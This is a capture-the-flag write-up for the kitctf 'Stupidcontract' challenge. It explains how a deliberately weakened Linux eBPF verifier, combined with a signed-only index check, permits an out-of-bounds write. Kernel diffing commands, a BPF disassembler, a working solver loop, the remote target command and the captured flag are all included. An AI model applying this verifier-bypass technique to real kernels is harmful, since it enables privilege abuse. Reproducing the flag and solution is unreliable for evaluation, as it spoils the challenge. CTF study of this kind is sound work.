pwnfreehard

Stupidcontract

kitctf

Task: Linux kernel pwn with a patched eBPF verifier (patched vs unpatched bzImage) running an embedded aya eBPF reservation contract; the verifier's map-value bounds check was deleted and an embedded program does `DATA[index+1]=roll` with a signed-only index check. Solution: kernel-diff to find the removed check_mem_region_access bounds check, reverse the embedded BPF, then send index -1 to OOB-write the success byte DATA[0] (data-only), coasting with index 100 to preserve it until the validator prints the flag.

$ ls tags/ techniques/
kernel_bzimage_diffingvmlinux_to_elfkallsyms_diffebpf_verifier_oobsigned_bounds_bypassdata_only_exploitationsynchronous_io_driver

Stupidcontract — GPN24 / KITctf

Description

I recently learned that Solana contracts are just ebpf bytecode and thought: "Why do I need a Solana vm for that if my kernel can just execute it". So, after some tinkering, I let my kernel do what it does best: execute user provided code to enable gambling (and make me rich).

A QEMU guest runs a Rust "restaurant reservation smart contract" (/usr/bin/stupidcontract, built with the aya eBPF library). It prints 100 restaurant names, then runs 300 rounds: each round asks for a restaurant index, and a reservation "succeeds" with ~20% probability (kernel bpf_get_prandom_u32). The win condition is a reservation to all 100 restaurants, after which the binary reads /tmp/flag-data/flag and prints it. 300 rounds for 100 restaurants is intentionally not winnable by RNG alone.

Provided: images/patched.bzImage + images/unpatched.bzImage (Linux 6.19.5), rootfs.ext2, run-qemu.sh, Dockerfile/compose.yml (socat exposes the QEMU serial on TCP/1337).

The only stdin input is the decimal index. There is no user-supplied BPF program — the eBPF is embedded in the binary. The num_instructions string in the binary is an aya-internal BTF relocation field name (a red herring). The bug is reached purely through the index value combined with the deliberately weakened kernel verifier.

Analysis

Step 1 — Kernel diffing (locating the vulnerability)

The patched/unpatched bzImage pair is the loudest hint. Extract vmlinux ELFs and diff kallsyms:

vmlinux-to-elf images/patched.bzImage patched.elf vmlinux-to-elf images/unpatched.bzImage unpatched.elf nm patched.elf | sort > patched.syms nm unpatched.elf | sort > unpatched.syms diff patched.syms unpatched.syms

Symbol diff:

  • Removed in patched: __check_mem_access, check_mem_region_access, bpf_check
  • Added in patched: check_map_access.isra.0 (inlined), bpf_prepare (= renamed bpf_check, cosmetic)

Disassemble both versions of the map-value access checker (bounded by the next symbol):

objdump -d unpatched.elf --start-address=<check_map_access> --stop-address=<next> > cma_unpatched.asm objdump -d patched.elf --start-address=<check_map_access.isra.0> --stop-address=<next> > cma_patched.asm
  • Unpatched check_map_access calls check_mem_region_access__check_mem_access, which enforces the core bounds check if (off < 0 || off + size > value_size) return -EACCES; before iterating the map record special fields (spin_lock/timer/etc).
  • Patched check_map_access.isra.0: the call to check_mem_region_access is completely gone. It jumps straight into the record special-field loop.

Conclusion: the patched verifier no longer enforces off + size <= value_size for map-value access. Verified eBPF programs can now perform relative OOB (including negative and variable-offset) accesses on a map's backing object. Classic deliberately-introduced verifier OOB.

Step 2 — Reversing the embedded eBPF

The Rust binary embeds 3 identical copies of an aya eBPF object via include_bytes! in .rodata. Find them by scanning for ELF magic with e_machine == 247 (EM_BPF) and carve one out using the ELF header (e_shoff + e_shnum*e_shentsize):

sections:
  syscall : two programs
      try_get_reservation    @ 0x000, size 0xc28
      validate_reservations  @ 0xc28, size 0x0c0
  .bss : global DATA, 101 bytes  (symbol _RNvCs...stupidcontract4DATA, size 0x65)
  maps / AYA_LOGS : logging

DATA layout: DATA[0] = SUCCESS byte; DATA[1..=100] = the 100 reservation booleans.

A tiny pyelftools-based BPF disassembler reads the syscall section and decodes 8-byte bpf_insn (opcode u8, dst/src nibbles, off i16, imm i32; lddw is 16 bytes):

import struct from elftools.elf.elffile import ELFFile data = ELFFile(open('ebpf_0.o','rb')).get_section_by_name('syscall').data() ALUOP={0:'add',1:'sub',2:'mul',3:'div',4:'or',5:'and',6:'lsh',7:'rsh', 8:'neg',9:'mod',10:'xor',11:'mov',12:'arsh',13:'end'} JMPOP={0:'ja',1:'jeq',2:'jgt',3:'jge',4:'jset',5:'jne',6:'jsgt',7:'jsge', 0xa:'jlt',0xb:'jle',0xc:'jslt',0xd:'jsle',8:'call',9:'exit'} SIZE={0:'W',1:'H',2:'B',3:'DW'} def dis(off, end, name): print(f"=== {name} ===") i=off while i<end: op=data[i]; regs=data[i+1]; dst=regs&0xf; src=(regs>>4)&0xf offset=struct.unpack_from('<h',data,i+2)[0] imm=struct.unpack_from('<i',data,i+4)[0] cls=op&7; idx=(i-off)//8 if cls==0 and ((op>>5)&7)==3: # LDDW (imm64) imm2=struct.unpack_from('<i',data,i+12)[0] full=(imm2<<32)|(imm&0xffffffff) print(f"{idx:4} r{dst} = 0x{full:x} ll"); i+=16; continue if cls==1: print(f"{idx:4} r{dst} = *(u{SIZE[(op>>3)&3]})(r{src} {offset:+#x})") elif cls==3: print(f"{idx:4} *(u{SIZE[(op>>3)&3]})(r{dst} {offset:+#x}) = r{src}") elif cls in (4,7): o=(op>>4)&0xf; w='' if cls==7 else '32' rhs=f"r{src}" if (op&8) else f"{imm}" print(f"{idx:4} r{dst} {ALUOP.get(o,'?')}{w}= {rhs}") elif cls in (5,6): o=(op>>4)&0xf; opn=JMPOP.get(o,'?') if opn=='exit': print(f"{idx:4} exit") elif opn=='call': print(f"{idx:4} call {imm}") else: rhs=f"r{src}" if (op&8) else f"{imm}" print(f"{idx:4} if r{dst} {opn} {rhs} goto {idx+1+offset}") i+=8 dis(0,0xc28,'try_get_reservation') dis(0xc28,0xc28+0xc0,'validate_reservations')

Decoded logic:

try_get_reservation(ctx):
    r7 = *(s64)(ctx + 0)                 ; the index
    if (s64)r7 > 99 goto error           ; SIGNED comparison, NO lower bound!
    r0 = bpf_get_prandom_u32()
    r1(32) = r0
    r0 = 1; if 0x33333333 > r1 goto skip; r0 = 0   ; r0 = (rand < 0x33333333) ? 1 : 0  (~20%)
skip:
    r1 = &DATA
    r1 += r7
    *(u8)(r1 + 1) = r0                   ; DATA[r7 + 1] = r0   <-- OOB when r7 < 0
    return -1                            ; always
error:
    ; logs "Index out out bounds: <idx>" via AYA log, performs NO DATA write (pure no-op)

validate_reservations():
    acc = 1
    for i in 1..=100: acc &= (DATA[i] & 1)
    if acc == 1: DATA[0] = 1             ; ONLY sets, never clears DATA[0]
    return 0

Userspace (Rust) after the 300-round loop performs an aya map lookup on DATA (key u32 = 0), reads DATA[0], and on DATA[0] == 1 prints Thank you! You successfully got reservations to every restaurant, then std::fs::read_to_string("/tmp/flag-data/flag")As a thank you, here's your flag: <flag>.

Step 3 — Putting it together

Two weaknesses combine:

  1. The index bounds check is signed-only (if (s64)index > 99), so a negative index is accepted by the program logic.
  2. The patched verifier no longer enforces off + size <= value_size, so a negative variable offset into the map value passes verification.

Therefore index = -1 makes the program write DATA[-1 + 1] = DATA[0] — directly into the SUCCESS byte that the userspace gate checks. And validate_reservations only ever sets DATA[0], never clears it.

Solution

Deterministic, data-only exploit (no ROP/shellcode):

  1. Send index -1 each round. On the round where the kernel prandom roll lands in the ~20% window, userspace prints Your reservation succeededDATA[0] is now 1.
  2. As soon as that success is observed, switch to index 100 (>99 → error path, no DATA write) for every remaining round, so DATA[0] stays 1.
  3. After 300 rounds, validate_reservations leaves DATA[0]=1; userspace reads DATA[0]==1 and prints the flag.

Reliability: probability of never rolling a success across the -1 attempts is 0.8^300 ≈ 0, so this is effectively guaranteed. On the remote it succeeded on the very first -1 attempt.

Gotcha — I/O desync. Both the local QEMU serial and the remote socat echo input. Sending lines faster than the prompt consumes them merges inputs and makes success detection flaky (an early naive version coasting with index 0 failed sporadically). Fix: strictly synchronous I/O — send exactly one line, wait for that round's [INFO ...]/[ERROR ...] result, then wait for the next enter the index prompt before sending again. This made it 100% reliable.

Core of the solver loop (solve.py, transport-agnostic RECV()/read_until()):

# wait for the first reservation prompt read_until(r"enter the index", 150) COAST = "100" # >99 => error path, no DATA write (preserves DATA[0]) won = False for n in range(300): if n > 0: read_until(r"enter the index", 30) # wait for prompt marker = len(buf) W(("-1" if not won else COAST) + "\n") # send exactly one line read_until(r"\[(INFO|ERROR) ", 30) # wait for this round's result line if (not won) and b"succeeded" in buf[marker:]: won = True # DATA[0]=1; start coasting with 100 print(f"[+] DATA[0]=1 set at attempt {n+1}; coasting with index {COAST}") read_until(r"(GPNCTF\{|here's your flag|Sorry|Thank you)", 60)

Run against remote (TLS on 443, equivalent to ncat --ssl <host> 443):

python3 solve.py --remote pan-seared-chorizo-crusted-with-sauced-mint-s2m1.gpn24.ctf.kitctf.de 443 --ssl

Output:

[+] DATA[0]=1 set at attempt 1; coasting with index 100
[INFO  stupidcontract] Thank you! You successfully got reservations to every restaurant
[INFO  stupidcontract] As a thank you, here's your flag: GPNCTF{Wa17, n0! Who sTOLE MY sECURity???}

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups